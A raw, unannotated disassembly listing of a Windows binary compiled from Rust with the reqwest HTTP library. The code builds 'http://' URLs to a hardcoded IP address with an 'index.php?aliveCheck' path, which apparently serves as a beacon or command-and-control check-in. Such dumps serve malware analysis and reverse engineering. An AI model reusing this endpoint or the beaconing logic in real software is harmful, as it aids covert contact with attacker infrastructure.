lea rcx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_encoding_rs_0.8.33_src_lib.rsh
call fcn.14001e660
call fcn.140011c80
mov ecx, 1
mov rdx, r14
call fcn.140011cc0
lea rax, [0x140157c90]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
call fcn.14001f890
lea rax, [0x140166850]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401667b9]
lea r9, [0x140106070]
lea r8, [rsp + 0x4b0]
mov edx, 0x46
call fcn.14001cff0
mov ecx, 1
mov rdx, rbx
call fcn.140011cc0
lea rax, [0x140157ba8]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
xor r8d, r8d
mov r9, rdi
call fcn.14001f890
lea rax, [0x140157c48]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
xor r8d, r8d
mov r9, r12
call fcn.14001f890
mov ecx, pe_nt_image_headers64
mov edx, pe_nt_image_headers64
call fcn.140011cc0
lea rax, [rsp + 0xc0]
mov qword [rax], rdx
mov qword [rsp + 0x2e0], rax
lea rax, [0x1400cf450]
mov qword [rsp + 0x2e8], rax
lea rax, str.OS_cant_spawn_worker_thread:
lea rcx, [rsp + 0x4b0]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x20], 0
lea rdx, [rsp + 0x2e0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, [0x140106838]
call fcn.14001a1d0
mov ecx, 8
mov edx, 0x40
call fcn.140011cc0
lea rax, [0x140157c18]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, r10
call fcn.14001f890
mov ecx, 8
mov edx, 0x20
call fcn.140011cc0
mov rcx, r14
call sub.kernel32.dll_CloseHandle
lea r8, [rsp + 0x2e0]
mov qword [r8], rbx
lea rax, [0x140161a80]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400af350
mov edx, 0x2b
call fcn.14001cff0
jmp case.0x140007796.2
lea rax, [0x140157c30]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, r9
mov r9, qword [rsp + 0x48]
call fcn.14001f890
mov rax, qword [rsp + 0x2e8]
lea r8, [rsp + 0x150]
mov qword [r8], rax
lea rax, [0x140161a50]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400af350
mov edx, 0x2b
call fcn.14001cff0
jmp case.0x140007796.2
mov rax, qword [rsp + 0x2e8]
lea r8, [rsp + 0x150]
mov qword [r8], rax
lea rax, [0x140161a68]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400af350
mov edx, 0x2b
call fcn.14001cff0
ud2
sub dword [rsp + 0x6d0], edi
movaps xmmword [rsp + 0x6c0], xmm6
mov r15, rdx
mov rbx, rcx
movzx eax, byte [rcx + 0xd9]
lea rcx, [0x140102104]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0xf8], r15
mov byte [rbx + 0xd8], 0
mov ecx, 0x44
call fcn.1400f4dd8
mov qword [rsp + 0x38], rax
mov rcx, rdx
lea rdx, [0x140106984]
mov r8d, 0x44
mov qword [rsp + 0x40], rcx
call sub.msvcrt.dll_memcpy
lea r13, [rbx + 0x60]
mov ecx, 0x18
call fcn.1400f4dd8
movabs rcx, 0x7068702e7865646e
mov qword [rdx + 0x10], rcx
movups xmm0, xmmword [str.104.238.160.14_index.php_aliveCheck]
movups xmmword [rdx], xmm0
mov qword [rbx + 0x60], rax
mov qword [rbx + 0x68], rdx
mov qword [rbx + 0x70], 0x18
lea rbp, [rsp + 0x270]
mov qword [rbp], r13
lea r15, [0x1400067d6]
mov qword [rbp + 8], r15
lea rax, str.http:__
lea rsi, [rsp + 0x380]
mov qword [rsi], rax
mov eax, 2
mov qword [rsi + 8], rax
xor r12d, r12d
mov qword [rsi + 0x20], r12
mov qword [rsi + 0x10], rbp
mov r14d, 1
mov qword [rsi + 0x18], r14
lea rdi, [rsp + 0x170]
mov rcx, rdi
mov rdx, rsi
call fcn.1400123f0
mov rax, qword [rdi + 0x10]
mov qword [rbx + 0x88], rax
movups xmm0, xmmword [rdi]
movups xmmword [rbx + 0x78], xmm0
mov qword [rbp], r13
mov qword [rbp + 8], r15
lea rax, str.http:__
mov qword [rsi], rax
mov eax, 2
mov qword [rsi + 8], rax
mov qword [rsi + 0x20], r12
mov qword [rsi + 0x10], rbp
mov qword [rsi + 0x18], r14
lea rsi, [rsp + 0x170]
lea rdi, [rsp + 0x380]
mov rcx, rsi
mov rdx, rdi
call fcn.1400123f0
mov rax, qword [rsi + 0x10]
mov qword [rbx + 0xa0], rax
movups xmm0, xmmword [rsi]
movups xmmword [rbx + 0x90], xmm0
mov qword [rbp], r13
mov qword [rbp + 8], r15
lea rax, str.http:__
mov qword [rdi], rax
mov eax, 2
mov qword [rdi + 8], rax
mov qword [rdi + 0x20], r12
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x18], r14
lea rsi, [rsp + 0x170]
lea rdi, [rsp + 0x380]
mov rcx, rsi
mov rdx, rdi
call fcn.1400123f0
mov rax, qword [rsi + 0x10]
mov qword [rbx + 0xb8], rax
movups xmm0, xmmword [rsi]
movups xmmword [rbx + 0xa8], xmm0
mov ecx, 2
call fcn.14003a65a
mov qword [rdi], rax
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], r12
lea rdi, [rsp + 0x380]
mov edx, 2
mov rcx, rdi
call fcn.14003a4c2
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rdi]
movaps xmmword [rsi], xmm0
lea rsi, [rsp + 0x170]
mov rcx, rsi
call fcn.14003a5f1
movups xmm6, xmmword [rsi + 8]
mov ecx, 2
call fcn.14003a6b3
mov word [rdi + 0x58], 1
movups xmmword [rdi + 0x48], xmm6
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rdx
xorps xmm0, xmm0
movups xmmword [rdi + 0x28], xmm0
mov qword [rdi + 0x38], 8
mov qword [rdi + 0x40], r12
mov qword [rdi], r12
lea rax, str.__root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.10.10_src_async_impl_client.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
mov cl, byte [r12 + rax]
cmp cl, 9
je 0x14000f23f
add cl, 0xe0
cmp cl, 0x5f
jae 0x14001129b
inc r12
cmp r12, 3
jne 0x14000f22a
lea rcx, [0x14015b298]
lea r9, [rsp + 0x170]
mov qword [r9], rcx
mov qword [r9 + 8], rax
mov qword [r9 + 0x10], 3
mov qword [r9 + 0x18], 0
mov byte [r9 + 0x20], 0
xorps xmm6, xmm6
lea r8, [rsp + 0x2f0]
movaps xmmword [r8 + 0x10], xmm6
movaps xmmword [r8], xmm6
lea rsi, [rsp + 0x270]
lea rdx, [rsp + 0x380]
mov rcx, rsi
call fcn.140041e78
cmp byte [rsi + 0x20], 2
je 0x14000f2bc
lea rcx, [rsp + 0x288]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x10]
movabs r9, 0x8000000000000000
lea rax, [rsp + 0x2f0]
lea rsi, [rsp + 0x380]
mov ecx, 0xc
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
movaps xmmword [rsp + 0x160], xmm6
lea rdx, [rsp + 0x140]
mov rcx, qword [rsp + 0x38]
mov qword [rdx], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rdx + 8], rcx
mov qword [rdx + 0x10], 0x44
lea r8, [rsp + 0x380]
mov ecx, 0xc
mov rdi, r8
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [r8 + 0x60], 1
mov qword [r8 + 0x68], 0xa
movups xmmword [r8 + 0x70], xmm6
mov eax, 8
mov qword [r8 + 0x80], rax
movups xmmword [r8 + 0x88], xmm6
mov qword [r8 + 0x98], rax
xor r15d, r15d
mov qword [r8 + 0xa0], r15
lea rax, [r9 + 1]
mov qword [r8 + 0xa8], rax
lea r14, [rsp + 0x430]
lea rsi, [rsp + 0x170]
mov ecx, 0xf
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
mov dword [r14 + 0x78], r15d
mov dword [r14 + 0x80], r15d
mov rax, qword [rsp + 0x88]
mov qword [r14 + 0x84], rax
mov eax, dword [rsp + 0x90]
mov dword [r14 + 0x8c], eax
mov eax, 0x3b9aca00
mov dword [r14 + 0x90], eax
mov qword [r14 + 0x98], 0x5a
mov dword [r14 + 0xa0], r15d
mov rcx, qword [rsp + 0xe8]
mov qword [r14 + 0xa4], rcx
mov ecx, dword [rsp + 0xf0]
mov dword [r14 + 0xac], ecx
mov dword [r14 + 0xb0], eax
mov rcx, qword [rsp + 0xd8]
mov qword [r14 + 0xb4], rcx
mov ecx, dword [rsp + 0xe0]
mov dword [r14 + 0xbc], ecx
mov dword [r14 + 0xc0], eax
mov qword [r14 + 0xc8], 0xffffffffffffffff
lea rsi, [rsp + 0x500]
mov qword [rsi], r15
movabs rax, 0x1000001010001
mov qword [rsi + 8], rax
mov word [rsi + 0x10], 0x200
mov byte [rsi + 0x12], 2
mov rax, qword [rsp + 0x10d]
mov qword [rsi + 0x20], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rsi + 0x13], xmm0
lea rdi, [rsp + 0x270]
mov rcx, rdi
call fcn.1400130ac
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
mov qword [rsp + 0x268], rbx
cmp r8, r15
je 0x14000f4e0
mov r9b, byte [rdx + r15]
cmp r9b, 0x20
setae al
cmp r9b, 0x7f
setne cl
inc r15
cmp r9b, 9
je 0x14000f474
and al, cl
jne 0x14000f474
lea rcx, [rsp + 0x288]
mov rax, qword [rcx - 0x18]
call qword [rax + 0x10]
call fcn.1400a495c
mov al, 0x54
or dword [rax], eax
mov al, 0x54
or dword [rax], eax
mov rdi, rax
cmp qword [rsp + 0x500], 0
je 0x14000f4c2
mov rcx, rsi
call fcn.140001fc5
mov qword [rsp + 0x500], rdi
mov qword [rsp + 0x38], rdi
jmp 0x14000f56e
lea rsi, [rsp + 0x270]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x250], xmm1
movaps xmmword [rsp + 0x240], xmm0
lea r9, [rsp + 0x600]
movaps xmmword [r9], xmm0
movaps xmmword [r9 + 0x10], xmm1
mov byte [r9 + 0x20], 0
movups xmm0, xmmword [0x14015e150]
lea r8, [rsp + 0x120]
movaps xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [0x14015e140]
movaps xmmword [r8], xmm0
lea rdx, [rsp + 0x380]
mov rcx, rsi
call fcn.140041e78
cmp byte [rsi + 0x20], 2
je 0x14000f561
lea rcx, [rsp + 0x288]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x500]
mov qword [rsp + 0x38], rax
lea rdi, [rsp + 0x2f0]
lea rdx, [rsp + 0x380]
mov ecx, 0xc
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rdx + 0x60]
mov qword [rsp + 0x40], rax
mov rax, qword [rdx + 0x68]
mov qword [rsp + 0x50], rax
mov rax, qword [rdx + 0x70]
mov qword [rsp + 0x58], rax
mov rax, qword [rdx + 0x78]
mov qword [rsp + 0x68], rax
mov rax, qword [rdx + 0x80]
mov qword [rsp + 0x60], rax
lea r15, [rsp + 0x380]
movups xmm0, xmmword [r15 + 0x88]
movaps xmmword [rsp + 0x160], xmm0
mov rax, qword [rdx + 0x98]
mov qword [rsp + 0x78], rax
mov rax, qword [rdx + 0xa0]
mov qword [rsp + 0x70], rax
mov rax, qword [rdx + 0xa8]
mov qword [rsp + 0x208], rax
lea r8, [rsp + 0x170]
mov ecx, 0xf
mov rdi, r8
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [r15 + 0x134]
mov qword [rsp + 0x88], rcx
mov ecx, dword [r15 + 0x13c]
mov dword [rsp + 0x90], ecx
mov rcx, qword [r15 + 0x154]
mov qword [rsp + 0xe8], rcx
mov ecx, dword [r15 + 0x15c]
mov dword [rsp + 0xf0], ecx
mov rcx, qword [r15 + 0x164]
mov qword [rsp + 0xd8], rcx
mov ecx, dword [r15 + 0x16c]
mov dword [rsp + 0xe0], ecx
mov al, byte [rdx + 0x188]
mov byte [rsp + 0x4f], al
mov al, byte [rdx + 0x189]
mov byte [rsp + 0x37], al
mov al, byte [rdx + 0x18a]
mov byte [rsp + 0x36], al
mov al, byte [rdx + 0x18b]
mov byte [rsp + 0x35], al
mov al, byte [rdx + 0x18c]
mov byte [rsp + 0x34], al
mov al, byte [rdx + 0x18d]
mov byte [rsp + 0x33], al
mov rcx, qword [r15 + 0x1a0]
mov qword [rsp + 0x10d], rcx
mov al, byte [rdx + 0x18e]
mov byte [rsp + 0x32], al
mov al, byte [rdx + 0x18f]
mov byte [rsp + 0x31], al
mov al, byte [rdx + 0x190]
mov byte [rsp + 0x30], al
mov al, byte [rdx + 0x191]
mov byte [rsp + 0x2f], al
mov al, byte [rdx + 0x192]
mov byte [rsp + 0x2e], al
mov eax, dword [rdx + 0x128]
mov r12d, dword [rdx + 0x12c]
mov r14d, dword [rdx + 0x130]
mov r13d, dword [rdx + 0x140]
mov ebx, dword [rdx + 0x144]
mov r9, qword [rdx + 0x148]
mov r10d, dword [rdx + 0x150]
mov r11d, dword [rdx + 0x160]
mov ebp, dword [rdx + 0x170]
mov ecx, dword [rdx + 0x174]
mov dword [rsp + 0x84], ecx
mov rdx, qword [rdx + 0x178]
movups xmm0, xmmword [r15 + 0x193]
movaps xmmword [rsp + 0x100], xmm0
mov ecx, 0xc
lea r15, [rsp + 0x600]
lea rsi, [rsp + 0x2f0]
mov rdi, r15
rep movsq qword [rdi], qword [rsi]
movaps xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x240], xmm0
mov ecx, 0xf
lea rdi, [rsp + 0x270]
mov rsi, r8
rep movsq qword [rdi], qword [rsi]
mov ecx, dword [rsp + 0x90]
mov dword [rsp + 0x148], ecx
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x140], rcx
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0xc8], rcx
mov ecx, dword [rsp + 0xf0]
mov dword [rsp + 0xd0], ecx
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0xb8], rcx
mov ecx, dword [rsp + 0xe0]
mov dword [rsp + 0xc0], ecx
movaps xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x120], xmm0
mov rcx, qword [rsp + 0x10d]
mov qword [rsp + 0x12d], rcx
mov ecx, 0xc
lea r8, [rsp + 0x380]
mov rsi, r15
mov rdi, r8
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x40]
mov qword [r8 + 0x60], rcx
mov rcx, qword [rsp + 0x50]
mov qword [r8 + 0x68], rcx
mov rcx, qword [rsp + 0x58]
mov qword [r8 + 0x70], rcx
mov rcx, qword [rsp + 0x68]
mov qword [r8 + 0x78], rcx
mov rcx, qword [rsp + 0x60]
mov qword [r8 + 0x80], rcx
movaps xmm0, xmmword [rsp + 0x240]
movups xmmword [r8 + 0x88], xmm0
mov rcx, qword [rsp + 0x78]
mov qword [r8 + 0x98], rcx
mov rcx, qword [rsp + 0x70]
mov qword [r8 + 0xa0], rcx
mov rcx, qword [rsp + 0x208]
mov qword [r8 + 0xa8], rcx
mov ecx, 0xf
lea r15, [rsp + 0x430]
lea rsi, [rsp + 0x270]
mov rdi, r15
rep movsq qword [rdi], qword [rsi]
mov dword [rsp + 0xb4], eax
mov dword [r15 + 0x78], eax
mov dword [rsp + 0xb0], r12d
mov dword [r15 + 0x7c], r12d
mov dword [rsp + 0x98], r14d
mov dword [r15 + 0x80], r14d
mov rax, qword [rsp + 0x140]
mov qword [r15 + 0x84], rax
mov eax, dword [rsp + 0x148]
mov dword [r15 + 0x8c], eax
mov dword [rsp + 0x9c], r13d
mov dword [r15 + 0x90], r13d
mov dword [rsp + 0xa0], ebx
mov dword [r15 + 0x94], ebx
mov qword [rsp + 0x1f8], r9
mov qword [r15 + 0x98], r9
mov dword [rsp + 0xa4], r10d
mov dword [r15 + 0xa0], r10d
mov rax, qword [rsp + 0xc8]
mov qword [r15 + 0xa4], rax
mov eax, dword [rsp + 0xd0]
mov dword [r15 + 0xac], eax
mov dword [rsp + 0xa8], r11d
mov dword [r15 + 0xb0], r11d
mov rax, qword [rsp + 0xb8]
mov qword [r15 + 0xb4], rax
mov eax, dword [rsp + 0xc0]
mov dword [r15 + 0xbc], eax
mov dword [rsp + 0xac], ebp
mov dword [r15 + 0xc0], ebp
mov eax, dword [rsp + 0x84]
mov dword [r15 + 0xc4], eax
mov qword [rsp + 0x200], rdx
mov qword [r15 + 0xc8], rdx
mov rax, qword [rsp + 0x38]
mov qword [r15 + 0xd0], rax
mov al, byte [rsp + 0x4f]
mov byte [r15 + 0xd8], al
mov al, byte [rsp + 0x37]
mov byte [r15 + 0xd9], al
mov al, byte [rsp + 0x36]
mov byte [r15 + 0xda], al
mov al, byte [rsp + 0x35]
mov byte [r15 + 0xdb], al
mov al, byte [rsp + 0x34]
mov byte [r15 + 0xdc], al
mov al, byte [rsp + 0x33]
mov byte [r15 + 0xdd], al
mov al, byte [rsp + 0x32]
mov byte [r15 + 0xde], al
mov al, byte [rsp + 0x31]
mov byte [r15 + 0xdf], al
mov al, byte [rsp + 0x30]
mov byte [r15 + 0xe0], al
mov al, byte [rsp + 0x2f]
mov byte [r15 + 0xe1], al
mov al, byte [rsp + 0x2e]
mov byte [r15 + 0xe2], al
mov rax, qword [rsp + 0x12d]
mov qword [r15 + 0xf0], rax
movaps xmm0, xmmword [rsp + 0x120]
movups xmmword [r15 + 0xe3], xmm0
call fcn.1400e2ab0
test rax, rax
je 0x140011323
mov r14, qword [rax]
mov r13, qword [rax + 8]
lea rcx, [r14 + 1]
mov qword [rax], rcx
movups xmm6, xmmword [0x140164620]
lea rsi, [rsp + 0x170]
movups xmmword [rsi + 0x58], xmm6
movups xmm7, xmmword [0x140164610]
movups xmmword [rsi + 0x48], xmm7
lea rdi, [rsp + 0x2f0]
mov ecx, 0xd
rep movsq qword [rdi], qword [rsi]
movabs rdi, 0x8000000000000000
lea rax, [rdi + 1]
cmp qword [rsp + 0x208], rax
je 0x14000fbe0
lea rsi, [rsp + 0x428]
mov rcx, rsi
call fcn.14008bd9f
mov rax, qword [rsi - 0x48]
mov qword [rsp + 0x40], rax
mov rax, qword [rsi - 0x40]
mov qword [rsp + 0x50], rax
mov rax, qword [rsi - 0x38]
mov qword [rsp + 0x58], rax
mov rax, qword [rsi - 0x30]
mov qword [rsp + 0x68], rax
mov rax, qword [rsi - 0x28]
mov qword [rsp + 0x60], rax
mov rax, qword [rsi - 0x10]
mov qword [rsp + 0x78], rax
mov rax, qword [rsi - 8]
mov qword [rsp + 0x70], rax
mov eax, dword [rsi + 0x80]
mov dword [rsp + 0xb4], eax
mov eax, dword [rsi + 0x84]
mov dword [rsp + 0xb0], eax
mov al, byte [rsi + 0xe1]
mov byte [rsp + 0x37], al
mov al, byte [rsi + 0xe2]
mov byte [rsp + 0x36], al
mov al, byte [rsi + 0xe3]
mov byte [rsp + 0x35], al
mov al, byte [rsi + 0xe4]
mov byte [rsp + 0x34], al
mov al, byte [rsi + 0xe5]
mov byte [rsp + 0x33], al
mov al, byte [rsi + 0xe6]
mov byte [rsp + 0x32], al
mov al, byte [rsi + 0xe7]
mov byte [rsp + 0x31], al
mov al, byte [rsi + 0xe8]
mov byte [rsp + 0x30], al
mov al, byte [rsi + 0xe9]
mov byte [rsp + 0x2f], al
mov al, byte [rsi + 0xea]
mov byte [rsp + 0x2e], al
mov eax, dword [rsi + 0x88]
mov dword [rsp + 0x98], eax
mov eax, dword [rsi + 0x98]
mov dword [rsp + 0x9c], eax
mov eax, dword [rsi + 0x9c]
mov dword [rsp + 0xa0], eax
mov rax, qword [rsi + 0xa0]
mov qword [rsp + 0x1f8], rax
mov eax, dword [rsi + 0xa8]
mov dword [rsp + 0xa4], eax
mov eax, dword [rsi + 0xb8]
mov dword [rsp + 0xa8], eax
mov eax, dword [rsi + 0xc8]
mov dword [rsp + 0xac], eax
mov eax, dword [rsi + 0xcc]
mov dword [rsp + 0x84], eax
mov rax, qword [rsi + 0xd0]
mov qword [rsp + 0x200], rax
mov rax, qword [rsi + 0xd8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x380]
mov qword [rax + 0xa8], rdi
lea rsi, [rsp + 0x2f0]
mov ecx, 0xd
mov rdi, r15
rep movsq qword [rdi], qword [rsi]
mov qword [rax + 0x118], r14
mov qword [rax + 0x120], r13
lea rdx, [rsp + 0x600]
mov ecx, 0xc
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
lea r8, [rsp + 0x380]
movups xmm0, xmmword [r8 + 0x88]
movaps xmmword [rsp + 0x240], xmm0
lea rax, [rsp + 0x270]
mov ecx, 0xf
mov rdi, rax
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
mov ecx, dword [r8 + 0x13c]
mov dword [rsp + 0x148], ecx
mov rcx, qword [r8 + 0x134]
mov qword [rsp + 0x140], rcx
mov ecx, dword [r8 + 0x15c]
mov dword [rsp + 0xd0], ecx
mov rcx, qword [r8 + 0x154]
mov qword [rsp + 0xc8], rcx
mov ecx, dword [r8 + 0x16c]
mov dword [rsp + 0xc0], ecx
mov rcx, qword [r8 + 0x164]
mov qword [rsp + 0xb8], rcx
movups xmm0, xmmword [r8 + 0x193]
movaps xmmword [rsp + 0x120], xmm0
mov rcx, qword [r8 + 0x1a0]
mov qword [rsp + 0x12d], rcx
lea rdi, [rsp + 0x660]
mov ecx, 0xc
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
movaps xmm0, xmmword [rsp + 0x240]
movaps xmmword [rsp + 0x570], xmm0
lea rdi, [rsp + 0x580]
mov ecx, 0xf
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rsp + 0x148]
mov dword [rsp + 0x238], eax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x220], rax
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0x228], eax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x210], rax
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x218], eax
movaps xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x360], xmm0
mov rax, qword [rsp + 0x12d]
mov qword [rsp + 0x36d], rax
mov al, byte [0x14019e160]
mov edx, 0x2220
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
mov rbx, qword [rsp + 0x268]
je 0x14001134f
mov rsi, rax
xorps xmm8, xmm8
movups xmmword [rax + 0x2210], xmm8
movups xmmword [rax + 0x2200], xmm8
mov al, byte [0x14019e160]
mov edx, 0x68
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x14001135e
mov rbp, rax
mov eax, 1
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
xor ecx, ecx
mov qword [rbp + 0x20], rcx
mov byte [rbp + 0x28], 0
mov qword [rbp + 0x30], rsi
movups xmmword [rbp + 0x38], xmm8
movups xmmword [rbp + 0x48], xmm8
mov qword [rbp + 0x58], rcx
mov qword [rbp + 0x60], rax
lock inc qword [rbp]
jle case.0x14000f01b.2
mov qword [rsp + 0xd8], rbp
mov al, byte [0x14019e160]
mov edx, 0x48
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x14001136d
mov r15, rax
mov eax, 1
mov qword [r15], rax
mov qword [r15 + 8], rax
xor eax, eax
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x40], rax
lock inc qword [r15]
jle case.0x14000f01b.2
mov qword [rsp + 0xe8], r15
mov ecx, 0x1d
call fcn.1400f4dd8
mov r14, rax
mov r13, rdx
movups xmm0, xmmword [str.reqwest_internal_sync_runtime]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [0x14015e6ed]
movups xmmword [rdx + 0xd], xmm0
lea rdi, [rsp + 0x170]
lea rsi, [rsp + 0x660]
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
movaps xmm0, xmmword [rsp + 0x570]
movaps xmmword [rsp + 0x140], xmm0
lea rdi, [rsp + 0x380]
lea rsi, [rsp + 0x580]
mov ecx, 0xf
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rsp + 0x238]
mov dword [rsp + 0x108], eax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
mov eax, dword [rsp + 0x228]
mov dword [rsp + 0x168], eax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x218]
mov dword [rsp + 0x90], eax
movaps xmm0, xmmword [rsp + 0x360]
movaps xmmword [rsp + 0x240], xmm0
mov rax, qword [rsp + 0x36d]
mov qword [rsp + 0x24d], rax
call fcn.1400db2e0
mov r12, rax
movabs rdi, 0x8000000000000000
cmp r14, rdi
jne 0x14000ff5a
xor ecx, ecx
jmp 0x14000ff9a
lea rdx, [rsp + 0x600]
mov qword [rdx], r14
mov qword [rdx + 8], r13
mov qword [rdx + 0x10], 0x1d
lea rsi, [rsp + 0x2f0]
mov rcx, rsi
call fcn.14004f4f7
cmp qword [rsi], rdi
jne 0x14001154a
mov rcx, qword [rsp + 0x2f8]
mov rdx, qword [rsp + 0x300]
call fcn.1400af200
lock inc qword [rax]
jle case.0x14000f01b.2
mov r14, rax
mov al, byte [0x14019e160]
mov edx, 0x30
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x1400112c5
mov rsi, rax
mov eax, 1
mov qword [rsi], rax
mov qword [rsi + 8], rax
xorps xmm0, xmm0
movups xmmword [rsi + 0x10], xmm0
mov qword [rsp + 0x270], rsi
lock inc qword [rsi]
jle case.0x14000f01b.2
xor ecx, ecx
call fcn.1400d1f30
mov rdi, rax
test rax, rax
je 0x14001000d
lock inc qword [rdi]
jle case.0x14000f01b.2
mov rcx, rdi
jmp 0x14001000f
xor ecx, ecx
call fcn.1400d1f30
mov r13, r12
test rax, rax
je 0x14001002a
lock dec qword [rax]
jne 0x14001002a
mov rcx, rax
call fcn.14004f591
mov r12, qword [rsp + 0x270]
mov rcx, qword [r12 + 0x10]
test rcx, rcx
je 0x140010045
add rcx, 0x10
call fcn.1400b2020
mov al, byte [0x14019e160]
mov edx, 0x1d0
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x14001137c
mov qword [rax], r14
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov ecx, 0xc
lea rdi, [rax + 0x18]
lea rsi, [rsp + 0x170]
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x78], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rax + 0x80], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rax + 0x88], rcx
mov rcx, qword [rsp + 0x68]
mov qword [rax + 0x90], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rax + 0x98], rcx
movaps xmm0, xmmword [rsp + 0x140]
movups xmmword [rax + 0xa0], xmm0
mov rcx, qword [rsp + 0x78]
mov qword [rax + 0xb0], rcx
mov rcx, qword [rsp + 0x70]
mov qword [rax + 0xb8], rcx
movabs rcx, 0x8000000000000000
mov qword [rax + 0xc0], rcx
mov rdi, rax
add rdi, 0xc8
mov ecx, 0xf
lea rsi, [rsp + 0x380]
rep movsq qword [rdi], qword [rsi]
mov ecx, dword [rsp + 0xb4]
mov dword [rax + 0x140], ecx
mov ecx, dword [rsp + 0xb0]
mov dword [rax + 0x144], ecx
mov ecx, dword [rsp + 0x98]
mov dword [rax + 0x148], ecx
mov rcx, qword [rsp + 0x100]
mov qword [rax + 0x14c], rcx
mov ecx, dword [rsp + 0x108]
mov dword [rax + 0x154], ecx
mov ecx, dword [rsp + 0x9c]
mov dword [rax + 0x158], ecx
mov ecx, dword [rsp + 0xa0]
mov dword [rax + 0x15c], ecx
mov rcx, qword [rsp + 0x1f8]
mov qword [rax + 0x160], rcx
mov ecx, dword [rsp + 0xa4]
mov dword [rax + 0x168], ecx
mov rcx, qword [rsp + 0x160]
mov qword [rax + 0x16c], rcx
mov ecx, dword [rsp + 0x168]
mov dword [rax + 0x174], ecx
mov ecx, dword [rsp + 0xa8]
mov dword [rax + 0x178], ecx
mov rcx, qword [rsp + 0x88]
mov qword [rax + 0x17c], rcx
mov ecx, dword [rsp + 0x90]
mov dword [rax + 0x184], ecx
mov ecx, dword [rsp + 0xac]
mov dword [rax + 0x188], ecx
mov ecx, dword [rsp + 0x84]
mov dword [rax + 0x18c], ecx
mov rcx, qword [rsp + 0x200]
mov qword [rax + 0x190], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x198], rcx
mov byte [rax + 0x1a0], 0
mov cl, byte [rsp + 0x37]
mov byte [rax + 0x1a1], cl
mov cl, byte [rsp + 0x36]
mov byte [rax + 0x1a2], cl
mov cl, byte [rsp + 0x35]
mov byte [rax + 0x1a3], cl
mov cl, byte [rsp + 0x34]
mov byte [rax + 0x1a4], cl
mov cl, byte [rsp + 0x33]
mov byte [rax + 0x1a5], cl
